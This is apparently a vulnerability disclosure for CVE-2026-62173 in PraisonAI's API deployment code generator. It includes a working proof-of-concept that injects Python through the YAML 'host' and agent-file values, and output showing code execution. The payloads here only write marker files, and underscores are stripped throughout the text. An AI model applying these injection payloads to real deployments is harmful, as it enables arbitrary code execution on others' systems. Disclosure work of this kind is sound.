CVE-2026-62173

def generate api server code(agents file: str, config: Optional[APIConfig] = None) -> str:
  ...
  code = f'''"""
...
    praisonai = PraisonAI(agent file="{agents file}")
...
    "agent file": "{agents file}"
...
  app.run(
    host='{config.host}',
    port={config.port},
    debug={config.reload}
  )
'''

' + ( import ("pathlib").Path("poc.txt").write text("DEPLOY API HOST CODE EXECUTED") and "") + '

app.run(
  host='' + ( import ("pathlib").Path("poc.txt").write text("DEPLOY API HOST CODE EXECUTED") and "") + '',
  port=8005,
  debug=False,
)

from pathlib import Path
import json
import sys
import tempfile
import types

import yaml


def install stubs():
  class FakeApp:
    def  init (self, name):
      self.name = name

    def route(self, *args, **kwargs):
      def deco(func):
        return func

      return deco

    def run(self, *args, **kwargs):
      return None

  flask = types.ModuleType("flask")
  flask.Flask = FakeApp
  flask.request = types.SimpleNamespace(headers={}, get json=lambda: {"message": "hello"})
  flask.jsonify = lambda obj: obj
  sys.modules["flask"] = flask

  flask cors = types.ModuleType("flask cors")
  flask cors.CORS = lambda app: app
  sys.modules["flask cors"] = flask cors

  praisonai mod = types.ModuleType("praisonai")

  class FakePraisonAI:
    def  init (self, agent file):
      self.agent file = agent file

    def run(self):
      return "ok"

  praisonai mod.PraisonAI = FakePraisonAI
  sys.modules["praisonai"] = praisonai mod


def main(repo):
  sys.path.insert(0, str(Path(repo) / "src" / "praisonai"))
  from praisonai.deploy.api import generate api server code
  from praisonai.deploy.models import APIConfig
  from praisonai.deploy.schema import validate agents yaml

  install stubs()

  with tempfile.TemporaryDirectory() as tmp:
    tmp path = Path(tmp)
    host marker = tmp path / "host-marker.txt"
    file marker = tmp path / "agent-file-marker.txt"
    host payload = "' + ( import ("pathlib").Path(" + repr(str(host marker)) + ").write text("DEPLOY API HOST CODE EXECUTED") and "") + '"
    agents yaml = tmp path / "agents.yaml"
    agents yaml.write text(yaml.safe dump({
      "deploy": {
        "type": "api",
        "api": {"host": host payload, "port": 8005, "auth enabled": False},
      },
      "agents": [{"name": "demo", "role": "demo", "goal": "demo"}],
    }))
    parsed config = validate agents yaml(str(agents yaml))

    results = []
    for label, config in [
      ("safe host", APIConfig(host="127.0.0.1", auth enabled=False)),
      ("malicious host from yaml", parsed config.api),
    ]:
      host marker.unlink(missing ok=True)
      code = generate api server code("agents.yaml", config)
      compile(code, f"<generated-{label}>", "exec")
      exec(code, {" name ": " main "})
      results.append({
        "case": label,
        "compiled": True,
        "host preserved by yaml parser": config.host == host payload if label.startswith("malicious") else None,
        "marker exists after startup": host marker.exists(),
        "marker contents": host marker.read text() if host marker.exists() else None,
        "generated contains raw host": config.host in code,
      })

    file payload = "" + ( import ("pathlib").Path(" + repr(str(file marker)) + ").write text("DEPLOY API AGENT FILE CODE EXECUTED") and "") + ""
    file marker.unlink(missing ok=True)
    code = generate api server code(file payload, APIConfig(host="127.0.0.1", auth enabled=False))
    compile(code, "<generated-agent-file>", "exec")
    namespace = {" name ": "generated agent file"}
    exec(code, namespace)
    namespace["list agents"]()
    results.append({
      "case": "malicious agent file route value",
      "compiled": True,
      "marker exists after list agents": file marker.exists(),
      "marker contents": file marker.read text() if file marker.exists() else None,
      "generated contains raw agent file": file payload in code,
    })

  print(json.dumps(results, indent=2))
  return 0 if results[1]["marker exists after startup"] and results[2]["marker exists after list agents"] else 1


if  name  == " main ":
  raise SystemExit(main(sys.argv[1] if len(sys.argv) > 1 else "."))

uv run --with pydantic --with pyyaml python pov deploy api config injection.py /path/to/PraisonAI

[
 {
  "case": "safe host",
  "compiled": true,
  "host preserved by yaml parser": null,
  "marker exists after startup": false,
  "marker contents": null,
  "generated contains raw host": true
 },
 {
  "case": "malicious host from yaml",
  "compiled": true,
  "host preserved by yaml parser": true,
  "marker exists after startup": true,
  "marker contents": "DEPLOY API HOST CODE EXECUTED",
  "generated contains raw host": true
 },
 {
  "case": "malicious agent file route value",
  "compiled": true,
  "marker exists after list agents": true,
  "marker contents": "DEPLOY API AGENT FILE CODE EXECUTED",
  "generated contains raw agent file": true
 }
]

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H